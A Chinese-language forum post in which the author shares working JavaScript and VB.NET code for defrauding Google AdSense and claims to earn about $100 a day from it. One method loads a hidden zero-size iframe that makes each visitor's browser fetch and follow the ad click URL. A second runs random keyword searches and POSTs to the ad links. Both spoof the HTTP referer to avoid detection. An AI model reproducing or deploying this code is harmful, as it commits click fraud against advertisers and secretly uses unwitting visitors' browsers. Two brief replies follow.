好久没来了,发个帖子支持下~~~~~~~

[大花狗上树]

看见我们的论坛底部也有Google AdSense,所以给个投机取巧的办法,俺代码写的很粗糙，凑合的看吧，但使用起来一定要小心,最好先申请一个测试的帐号,等配置没问题了再进行欺骗.

Google AdSense欺骗

首先来看AdSense for content提供的连接代码

Code Content:[table=90%][tr][td]
<script type="text/javascript"><!--
google_ad_client = "pub-****************";
google_ad_width = 300;
google_ad_height = 250;
google_ad_format = "300x250_as";
google_ad_type = "text";
google_ad_channel = "";
google_color_border = "336699";
google_color_bg = "FFFFFF";
google_color_link = "0000FF";
google_color_text = "000000";
google_color_url = "008000";
//--></script>
<script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"></script>

[/td][/tr][/table]下载show_ads.js分析后开始自行构造自动点击代码。

先建立一个空的IFRAME

Code Content:[table=90%][tr][td]
<iframe id="i1" name="i1" src="" width="0" height="0" scrolling="no" frameborder="0"></iframe>

[/td][/tr][/table]然后在IFRAME下方添加以下代码

Code Content:[table=90%][tr][td]
<script>
var a=window;
document.Form1.t1.value=a.google_ad_url;

document.getElementById('i1').src='webform2.aspx?google_url=' + document.Form1.t1.value;
</script>

[/td][/tr][/table]在WebFrom2.aspx的Page_Load事件中添加以下代码

Code Content:[table=90%][tr][td]
Dim rs As Integer
Dim htmlStr As String
Dim hxml As New MSXML2.XMLHTTP
Private objcontext As HttpContext
Dim i, queryCount As Integer
Dim url As String

queryCount = Request.QueryString.Count
url = Request.QueryString.Item("google_url").ToString

'获取GOOGLE生成的广告页面的URL
For i = 1 To queryCount - 1
If Request.QueryString.GetKey(i) = "url" Then
url = url + "&" + "url=http%3A%2F%2Fwww.65535.cn%2Findex.htm"
Else
url = url + "&" + Request.QueryString.GetKey(i) + "=" + Request.QueryString.Item

(Request.QueryString.GetKey(i))
End If
Next

'获取GOOGLE生成的广告页面HTML代码
hxml.open("get", url, False)
hxml.setRequestHeader("referer", "http%3A%2F%2Fwww.65535.cn%2Findex.htm")
hxml.send()
htmlStr = hxml.responseText

Dim a1, a2, a3, Url_Link, Url_Link1 As String
Dim slink() As String
Dim url_head As String
Dim i1, i2, i3 As Integer

'截取广告地址
url = "http://pagead2.googlesyndication.com"
a1 = "<a id=""aw0"" target=""_top"" href="""
a1 = "/pagead/iclk"
a2 = "'aw0')"" ha('aw0')"""
a3 = "onFocus"
a3 = "nm=0"

i1 = htmlStr.IndexOf(a1)
i2 = htmlStr.IndexOf(a2)
i3 = htmlStr.IndexOf(a3)

Url_Link = htmlStr.Substring(i1)
slink = Url_Link.Split("""")
url = url + slink(0)
Response.Redirect(url)

[/td][/tr][/table]原理:通过得到show_ads.js中a.google_ad_url,然后对其源代码截取，取得广告地址,然后访问,上述方法如果忽略网络延迟,基本逢访问必点击广告。



针对AdSense for search的欺骗,这个比较难察觉,不过要设置好关键字的个数以及有效关键字的出现数量

在首页面的Page_Load事件中添加如下代码.

Code Content:[table=90%][tr][td]
Dim url, hrmlStr, key_s, post_url As String
Dim keyStr() As String
Dim hxml As New MSXML2.XMLHTTP
Dim randKey As New System.Random

'定义随机关键字
keyStr = New String() {"笔记本", "玻璃", "钢结构", "AJAX", "XML", "IDC", "虚拟主机", "顶级域名", "NIKE", "ELONG",

"SMS", "房地产", "FirFox", "宠物", "体育", "英语", "托福", "足球", "彩信", "家居乐", "美容", "瘦身", "医院", "网络安全", "威

客", "中国", "blog", "unix", "linux", "魔兽", "天堂", "VOD", "哈士奇", "skype", "酒吧", "视频聊天", "读书", "李宇春", "让青春

继续", "北航绝恋", "金毛", "乞讨", "乞丐", "互连星空", "http类", "招聘", "应聘", "程序员", "网络安全", "软件开发", "工程师",

"入侵", "木马", "黑客", "红客", "APPLE", "判决", "杀毒", "婚庆", "团购", "网球", "华为", "中兴", "HttpApplication类", "毛衣",

"显卡", "google广告", "公益广告", "面试技巧", "木材 厂家", "防火墙", "数据库 权限", "钢化玻璃", "迷彩", "高尔夫", "一级代理",

"空调"}

'随机读取关键字,我设置的关键字当中有一部分搜索结果是没有广告的,这样可以避免google的检查
key_s = keyStr(randKey.Next(keyStr.Length.ToString))

key_s = HttpUtility.UrlEncode(key_s, System.Text.Encoding.Default)

url = "http://www.google.com/custom?q=" + key_s + "&client=pub-

1076633138320137&forid=1&ie=GB2312&oe=GB2312&cof=GALT%3A%23008000%3BGL%3A1%3BDIV%3A%23336699%3BVLC%3A663399%3BAH%3Acenter%

3BBGC%3AFFFFFF%3BLBGC%3A336699%3BALC%3A0000FF%3BLC%3A0000FF%3BT%3A000000%3BGFNT%3A0000FF%3BGIMP%3A0000FF%3BFORID%3A1&hl=zh-

CN"

post_url = url

'获取GOOGLE生成的广告页面HTML代码
hxml.open("get", url, False)
'修改http头，欺骗搜索来源。
hxml.setRequestHeader("referer", "http%3A%2F%2Fwww.65535.cn%2Findex.htm")
hxml.send()
hrmlStr = hxml.responseText

Dim a1, a2, a3, Url_Link, Url_Link1 As String
Dim slink() As String
Dim url_open As String
Dim i1, i2, i3 As Integer

'获取GOOGLE生成的广告页面HTML代码中的广告的URL
url = "http://pagead2.googlesyndication.com"
a1 = "<a id=""aw0"" target=""_top"" href="""
a1 = "/pagead/iclk"
a2 = "'aw0')"" ha('aw0')"""
a3 = "onFocus"
a3 = "nm=0"


i1 = hrmlStr.IndexOf(a1)
i2 = hrmlStr.IndexOf(a2)
i3 = hrmlStr.IndexOf(a3)

Try
'以POST方式访问广告页面,referer为post_url
Url_Link = hrmlStr.Substring(i1)
slink = Url_Link.Split(" onmouseover")
url = url + slink(0)

hxml.open("post", url, False)
hxml.setRequestHeader("referer", post_url)
hxml.send()

Catch ex As Exception

End Try


[/td][/tr][/table]上述方法可以通过增加关键字的个数来平衡访问量和点击量的比例，关键字也可以直接写入web.config中方便调用，省得每次添加以后重新编译。

最后提醒一句，不要随便向GOOGLE挑战，GOOGLE还是很NB的，此方法目前还不确定是否会被封，但我的帐号的确是被封了，不过应该是由于我再测试阶段的访问量和点击量出现了大起大落的现象造成的，用上述方法，我将首页面嵌入在一个访问量特大的论坛内，基本上每天有100$的收入。

[复活节彩蛋]

这高人一来了就...迷糊人么...
俺不学计算机:'( 太恐怖:L